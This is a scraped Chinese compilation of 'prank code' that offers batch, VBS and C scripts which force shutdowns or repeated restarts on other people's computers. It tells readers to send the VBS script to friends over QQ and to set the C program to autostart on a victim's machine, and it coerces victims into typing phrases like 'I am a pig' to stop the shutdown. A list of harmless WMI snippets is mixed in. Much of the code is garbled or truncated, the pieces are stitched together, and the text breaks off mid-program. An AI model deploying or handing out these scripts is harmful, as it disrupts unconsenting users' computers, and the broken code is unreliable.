"不要生气嘛，你认真看下去我就放你走..", 16 MsgBox "好，开始喇..", 16 MsgBox "从前有座山..", 16 MsgBox "山里有个座庙..", 16 MsgBox "庙里有个和尚..", 16 MsgBox "哈哈，想哭吗？", 16 MsgBox "被骗的感觉不爽吧？", 16 MsgBox "喂喂喂！别别..千万别重启电脑", 16 MsgBox "我告诉你怎么关吧", 16 MsgBox "先打开任务管理器", 16 MsgBox "忘了告诉你了，任务管理器打不开了", 16
整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1s if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c: echo. >c: & goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”， 保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机， 不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true
VBS代码片断大全[一] 1 VBS 取得本机IP strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For Each strAddress in IPConfig.IPAddress WScript.Echo strAddress Next End If Next -------------------------------------------------------------------------------- 2 取得本机计算机名 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem") For Each objComputer in colComputers Wscript.Echo https://www.doczj.com/doc/ad13656052.html, Next -------------------------------------------------------------------------------- 4 检查升级包 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." & objOperatingSystem.ServicePackMinorVersion Next -------------------------------------------------------------------------------- 5 检查Hot Fix strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering") For Each objQuickFix in colQuickFixes Wscript.Echo "Description: " & objQuickFix.Description
手把手教你玩QQ整人程序【超级整人滴~】好奇傻死猫-by22010-09-06 23:02
首先呢,我们在桌面创建个新文件夹 然后打开,在上面找到-工具(T)-文件夹选项(o)-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打 开了就在60秒内要关闭计算机， 结素任务都不行，他只能说他是猪才能解决问题。够坏吧？注意哦，你可以把我是猪那个修改成任意想 说的话，要是对付你喜欢的人， 就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢? 第2招编写VBS脚本 首先你可以看下面的 WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
c语言整人代码 Company Document number：WTUT-WT88Y-W8BBGB-BWYTT-19998
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可 执行的文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include<> #include<> int main(void) {
system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include<> #include<> void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪，哈哈，就输入“我是猪”这三个字嘛~"""); printf("哈哈，你是猪~~你的计算机马上就要自动关闭，除非你输入你是猪~~说的就是你，把这个窗口关掉也没有用哦~~\n"); printf("输入："); while(strcmp(s,"我是猪")) {